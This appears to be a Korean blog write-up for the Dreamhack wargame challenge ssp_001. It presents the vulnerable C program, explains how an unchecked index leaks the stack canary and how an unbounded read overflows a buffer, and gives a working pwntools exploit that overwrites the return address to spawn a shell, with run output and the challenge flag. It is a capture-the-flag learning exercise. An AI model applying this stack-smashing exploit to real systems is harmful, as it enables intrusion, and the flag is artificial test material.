- Published on
[Dreamhack] ssp_001 문제 풀이
- Authors
- Name
- Yeowoong Park
- @ZEROCOKE_2162
문제 개요
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
문제의 코드는 위와 같다. 문제를 간단히 설명하자면,
총 2곳에 BOF 취약점이 발생하고 보안 기법은 NX bits, Canary 총 2개가 걸려있는것을 확인할 수 있다.
get_shell
함수는 shell을 주는 함수이다. Return Address는 이걸로 선정하면 될 것 같다.
P
는 위 array의 범위를 검증하지 않아서 BOF가 발생한다.
사용자가 입력한 값을 box
의 index로 그대로 들어가게 되어 box 를 넘어 Canary 값을 leak 할 수 있다.
E
에선 사용자가 입력한 길이만큼 name의 값을 넣을 수 있다.
첫번째 input에서 Return Address Overwrite가 가능할 정도의 긴 값(길이)를 넣고 두번째 input엔 buf(name) dummy 값 + canary + SFP dummy 값 + get_shell 함수의 주소를 넣어주면 끝난다.
작성한 시나리오대로 익스플로잇 코드를 작성해보자.
익스플로잇 코드 작성
from pwn import *
#p = remote('host1.dreamhack.games', 21093)
p = process('./ssp_001')
elf = ELF('./ssp_001')
get_shell = elf.symbols['get_shell']
canary = b''
pause()
for i in range(131, 127, -1):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b"Element index : ", str(i))
p.recvuntil(b"is : ")
canary += p.recv(2)
canary = int(canary, 16)
print(f'canary: {hex(canary)}')
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter(b'> ', b'E')
p.sendlineafter(b"Name Size : ", '100')
p.sendlineafter(b"Name : ", payload)
p.interactive()
위 익스플로잇 코드는 위에서 설명한 그대로를 가져왔다.
P
에서 1바이트씩만 값이 나와서 for 문을 사용해서 Canary를 합쳐주는 작업을 진행했다.
E
는 ebp ~ return address
까지 계산해서 여유있게 100bytes 로 정했다.
작성한 코드로 익스플로잇을 진행해보자.
익스플로잇!!
root@18b05c8ca88f:~/dh/ssp-01# python3 ex.py
[+] Opening connection to host1.dreamhack.games on port 8930: Done
[*] '/root/dh/ssp-01/ssp_001'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Paused (press any to continue)
/root/dh/ssp-01/ex.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"Element index : ", str(i))
canary: 0x20727a00
/root/dh/ssp-01/ex.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline('cat flag')
[*] Switching to interactive mode
DH{00c609773822372daf2b7ef9adbdb824}
알림
시간이 조금 애매해져서 이제부턴 문제 풀이만 올릴 예정임. 참고바람.
아마 지금 학교에서 하는 사이버 가디언즈 워게임 풀이로 올릴 것 같다는..